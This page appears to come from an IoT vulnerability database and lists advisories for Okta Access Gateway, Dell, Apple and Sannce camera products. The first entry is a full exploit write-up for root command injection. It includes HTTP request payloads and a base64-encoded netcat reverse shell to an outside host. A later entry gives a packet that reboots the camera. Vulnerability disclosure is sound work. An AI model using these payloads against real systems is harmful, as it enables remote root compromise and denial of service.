VARIoT IoT vulnerabilities database

A command injection vulnerability in the cookieDomain and relayDomain parameters of Okta Access Gateway before 2020.9.3 allows attackers (with admin access to the Okta Access Gateway UI) to execute OS commands as a privileged system account. Since the injection occurs when a script is executed with sudo, the commands are ran with root privileges. BUG #1 - relay Command injection as root in Applications via the 'relaydomain' field when passing parameters to generateCert.sh. This is blind injection, so without monitoring logs or local execution instrumentation, the output will not simply returned in the response. Also, the included 'nc' binary that the system image includes has the -e flag available which enables an exploitation easier via connect back shell. [Request] POST /api/v1/app/idp/[valid-IDP] HTTP/1.1 Host: gw-admin.domain.tld Content-Type: application/json;charset=utf-8 X-CSRF-TOKEN: [placeholder] Content-Length: 134 Cookie: CSRF-TOKEN=[placeholder]; JSESSIONID=[placeholder]; SessionCookie=[placeholder] {"settings": {"label":"test", "type":"CERTHEADER2015_APP", "relaydomain":"..$(whoami)", <-- HERE "groups":[], "handlers":{}} ,"policies":[{}]} [Response /w local instrumentation for monitoring] pid=23033 executed [/bin/bash /opt/oag/bin/generateCert.sh -w -d .root ] [Quick testing] "relaydomain":"..$(reboot)" and the system should reboot. [Exploitation for reverse shell] Note: for some bizzare reason, this payload worked for a period of time during testing, but was not generally reproducible afterwards. 1) generate base64 for the connect back command to be executed $ echo -n "nc 10.0.0.111 5000 -e /bin/bash" | base64 bmMgMTAuMTAuMTAuMTc5IDU1NTUgLWUgL2Jpbi9iYXNo 2) start a listener $ nc -l -p 5000 ... 3) make the request with the payload (.. is required due to how it parses domains) ..$(echo${IFS}'bmMgMTAuMC4wLjExMSA1MDAwIC1lIC9iaW4vYmFzaA=='>test;$(base64${IFS}-d${IFS}test)) 4) get a root shell from the server * connection from 10.0.0.77 * python -c 'import pty; pty.spawn("/bin/bash")' [0] root@oag.okta.com;/root# Note: the hostname of the local OAG test system happens to be oag.okta.com and has nothing to do with any Okta company servers. BUG #2 - cookie Command injection as root in Identity Providers via the 'cookieDomain' field when passing parameters to generateCert.sh. [Request] POST /api/v1/setting/idp/local HTTP/1.1 Host: gw-admin.domain.tld Content-Type: application/json;charset=utf-8 X-CSRF-TOKEN: [placeholder] Content-Length: 222 Cookie: CSRF-TOKEN=[placeholder]; JSESSIONID=[placeholder]; SessionCookie=[placeholder] {"subCategory": "IDP_SAML_LOCAL", "json":{ "name":"Local OAG IDP", "host":"https://google.com", "cookieDomain":"$(uname${IFS}-n)", <-- HERE "nameIDFormat":"urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified", "metadata":{}}, "$edit":true} [Response /w local instrumentation for monitoring] pid=22822 executed [/bin/bash /opt/oag/bin/generateCert.sh -w -d Linux oag 3.10.0-957.27.2.el7.x86_64 #1 SMP Mon Jul 29 17:46:05 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux uid=0(root) gid=0(root) groups=0(root) ] [Quick testing] "cookieDomain":"$(reboot)" and the system should reboot. [Exploitation for executing commands with output in the webroot] Same note as the previous one; for some reason, this payload worked for a period of time during testing, but then stopped fully working (the bug was still there just less exploitable). 1) generate base64 for "ls -al /root" to be written to a location accessible via web request $ echo -n "script -q -c ls\$IFS-al\$IFS/root /opt/oag/simpleSAMLphp/www/test.php" | base64 -w0 c2NyaXB0IC1xIC1jIGxzJElGUy1hbCRJRlMvcm9vdCAvb3B0L29hZy9zaW1wbGVTQU1McGhwL3d3dy90ZXN0LnBocA== 2) make the request with the payload $(echo${IFS}'c2NyaXB0IC1xIC1jIGxzJElGUy1hbCRJRlMvcm9vdCAvb3B0L29hZy9zaW1wbGVTQU1McGhwL3d3dy90ZXN0LnBocA=='>test;$(base64${IFS}-d${IFS}test)) 3) check https://gw-admin.domain.tld/auth/test.php for the output of the command === Fix === The cookie bug was a "known issue" and fixed in v2020.9.3 and the relay bug was also fixed and no longer works on the latest v2021.2.1. https://www.okta.com/security-advisories/cve-2021-28113/

Wyse Management Suite versions up to 3.2 contains a vulnerability wherein a malicious authenticated user can cause a denial of service in the job status retrieval page, also affecting other users that would have normally access to the same subset of job details. Wyse Management Suite Is vulnerable to input validation.Denial of service (DoS) It may be put into a state

Dell Wyse ThinOS 8.6 MR9 contains remediation for an improper management server validation vulnerability that could be potentially exploited to redirect a client to an attacker-controlled management server, thus allowing the attacker to change the device configuration or certificate file. Dell Wyse ThinOS Is vulnerable to input validation.Information is obtained, information is tampered with, and service is disrupted (DoS) It may be put into a state. Dell Wyse ThinOS is a dedicated operating system for Dell servers developed by Dell in the United States

Dell System Update (DSU) 1.9 and earlier versions contain a denial of service vulnerability. A local authenticated malicious user with low privileges may potentially exploit this vulnerability to cause the system to run out of memory by running multiple instances of the vulnerable application. Dell System Update is an application software package of Dell (Dell). Provide application update function

A lock screen issue allowed access to contacts on a locked device. This issue was addressed with improved state management. This issue is fixed in macOS Big Sur 11.0.1. A person with physical access to an iOS device may be able to access contacts from the lock screen

The issue was addressed with improved permissions logic. This issue is fixed in macOS Big Sur 11.0.1. A local application may be able to enumerate the user's iCloud documents. macOS Exists in unspecified vulnerabilities.Information may be obtained. Apple macOS Big Sur versions prior to 11.0.1 have a permission and access control issue vulnerability, which stems from the fact that local applications can enumerate the user's iCloud documents

An out-of-bounds read was addressed with improved input validation. This issue is fixed in macOS Catalina 10.15.6, Security Update 2020-004 Mojave, Security Update 2020-004 High Sierra. A local user may be able to cause unexpected system termination or read kernel memory. macOS Exists in an out-of-bounds read vulnerability.Information is obtained and service operation is interrupted (DoS) It may be in a state

A use after free issue was addressed with improved memory management. This issue is fixed in iOS 13.6 and iPadOS 13.6, tvOS 13.4.8, watchOS 6.2.8, iCloud for Windows 7.20, macOS Catalina 10.15.6, Security Update 2020-004 Mojave, Security Update 2020-004 High Sierra. Processing maliciously crafted XML may lead to an unexpected application termination or arbitrary code execution. plural Apple The product contains a usage of freed memory vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. Both Apple iOS and Apple tvOS are products of Apple Inc. Apple iOS is an operating system developed for mobile devices. Apple tvOS is a smart TV operating system

An out-of-bounds read was addressed with improved input validation. This issue is fixed in watchOS 7.2, macOS Big Sur 11.1, Security Update 2020-001 Catalina, Security Update 2020-007 Mojave, iOS 14.3 and iPadOS 14.3, tvOS 14.3. Processing a maliciously crafted image may lead to a denial of service. plural Apple The product contains an out-of-bounds read vulnerability.Service operation interruption (DoS) It may be in a state. Apple watchOS is a smart watch operating system developed by Apple (Apple)

An out-of-bounds read was addressed with improved input validation. This issue is fixed in iOS 14.0 and iPadOS 14.0. Processing a maliciously crafted font may result in the disclosure of process memory. Both Apple iOS and Apple iPadOS are products of Apple (Apple). Apple iOS is an operating system developed for mobile devices. Apple iPadOS is an operating system for iPad tablets

This issue was addressed with improved checks. This issue is fixed in macOS Big Sur 11.1, Security Update 2020-001 Catalina, Security Update 2020-007 Mojave. Processing a maliciously crafted image may lead to arbitrary code execution. macOS Exists in unspecified vulnerabilities.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state

This issue was addressed with improved checks. This issue is fixed in macOS Big Sur 11.1, Security Update 2020-001 Catalina, Security Update 2020-007 Mojave. Processing a maliciously crafted image may lead to arbitrary code execution. macOS Exists in unspecified vulnerabilities.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state

An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed with improved input validation. This issue is fixed in macOS Big Sur 11.1, Security Update 2020-001 Catalina, Security Update 2020-007 Mojave. A local user may be able to cause unexpected system termination or read kernel memory. macOS Exists in an out-of-bounds read vulnerability.Information is obtained and service operation is interrupted (DoS) It may be in a state. Apple macOS Big Sur is a mobile application APP of Apple (Apple)

Multiple issues were addressed with improved logic. This issue is fixed in iOS 14.2 and iPadOS 14.2, macOS Big Sur 11.0.1, watchOS 7.1, tvOS 14.2. A sandboxed process may be able to circumvent sandbox restrictions. plural Apple There are unspecified vulnerabilities in the product.Information may be tampered with

A memory corruption issue was addressed with improved input validation. This issue is fixed in iOS 13.6 and iPadOS 13.6, iCloud for Windows 7.20, watchOS 6.2.8, tvOS 13.4.8, macOS Catalina 10.15.6, Security Update 2020-004 Mojave, Security Update 2020-004 High Sierra. Processing a maliciously crafted image may lead to arbitrary code execution

An issue existed in screen sharing. This issue was addressed with improved state management. This issue is fixed in macOS Big Sur 11.0.1. A user with screen sharing access may be able to view another user's screen. macOS Exists in unspecified vulnerabilities.Information may be obtained

An issue was discovered on Sannce Smart HD Wifi Security Camera EAN 2 950004 595317 devices. A local attacker with the "default" account is capable of reading the /etc/passwd file, which contains a weakly hashed root password. By taking this hash and cracking it, the attacker can obtain root rights on the device. ------------------------------------------ [Vulnerability Type] Insecure Permissions ------------------------------------------ [Vendor of Product] Sannce ------------------------------------------ [Affected Product Code Base] Sannce Smart HD Wifi Security Camera - EAN nr: 2 950004 595317 ------------------------------------------ [Affected Component] Root user through file /etc/passwd ------------------------------------------ [Attack Type] Local ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Attack Vectors] To exploit the vulnerability, someone must be able to get local presence on the device. e.g. through command injection or by using the telnet interface as a low-privileged user. ------------------------------------------ [Has vendor confirmed or acknowledged the vulnerability?] true ------------------------------------------ [Discoverer] Willem Westerhof, Jasper Nota, Martijn Baalman from Qbit cyber security in cooperation with the Dutch Consumer organisation. ------------------------------------------ [Reference] https://www.sannce.com Use CVE-2019-20466

An issue was discovered on Sannce Smart HD Wifi Security Camera EAN 2 950004 595317 devices. It is possible (using TELNET without a password) to control the camera's pan/zoom/tilt functionality. ------------------------------------------ [Vulnerability Type] Incorrect Access Control ------------------------------------------ [Vendor of Product] Sannce ------------------------------------------ [Affected Product Code Base] Sannce Smart HD Wifi Security Camera - EAN nr: 2 950004 595317 ------------------------------------------ [Affected Component] Videostream of camera ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker simply needs to be able to connect to the device over the network. ------------------------------------------ [Has vendor confirmed or acknowledged the vulnerability?] true ------------------------------------------ [Discoverer] Willem Westerhof, Jasper Nota, Martijn Baalman from Qbit cyber security in cooperation with the Dutch Consumer organisation. ------------------------------------------ [Reference] https://www.sannce.com Use CVE-2019-20465

An issue was discovered on Sannce Smart HD Wifi Security Camera EAN 2 950004 595317 devices. By default, a mobile application is used to stream over UDP. However, the device offers many more services that also enable streaming. Although the service used by the mobile application requires a password, the other streaming services do not. By initiating communication on the RTSP port, an attacker can obtain access to the video feed without authenticating. ------------------------------------------ [Vulnerability Type] Incorrect Access Control ------------------------------------------ [Vendor of Product] Sannce ------------------------------------------ [Affected Product Code Base] Sannce Smart HD Wifi Security Camera - EAN nr: 2 950004 595317 ------------------------------------------ [Affected Component] Videostream of camera ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker simply needs to be able to connect to the device over the network. ------------------------------------------ [Has vendor confirmed or acknowledged the vulnerability?] true ------------------------------------------ [Discoverer] Willem Westerhof, Jasper Nota, Martijn Baalman from Qbit cyber security in cooperation with the Dutch Consumer organisation. ------------------------------------------ [Reference] https://www.sannce.com Use CVE-2019-20464

An issue was discovered on Sannce Smart HD Wifi Security Camera EAN 2 950004 595317 devices. A crash and reboot can be triggered by crafted IP traffic, as demonstrated by the Nikto vulnerability scanner. For example, sending the 111111 string to UDP port 20188 causes a reboot. To deny service for a long time period, the crafted IP traffic may be sent periodically. ------------------------------------------ [VulnerabilityType Other] Denial of Service due to incorrect error handling ------------------------------------------ [Vendor of Product] Sannce ------------------------------------------ [Affected Product Code Base] Sannce Smart HD Wifi Security Camera - EAN nr: 2 950004 595317 ------------------------------------------ [Affected Component] Webserver, custom UDP handling binary. ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Denial of Service] true ------------------------------------------ [Attack Vectors] Any attacker capable of reaching the device with a network packet is capable of causing a DoS. ------------------------------------------ [Has vendor confirmed or acknowledged the vulnerability?] true ------------------------------------------ [Discoverer] Willem Westerhof, Jasper Nota, Martijn Baalman from Qbit cyber security in cooperation with the Dutch Consumer organisation. ------------------------------------------ [Reference] https://www.sannce.com Use CVE-2019-20463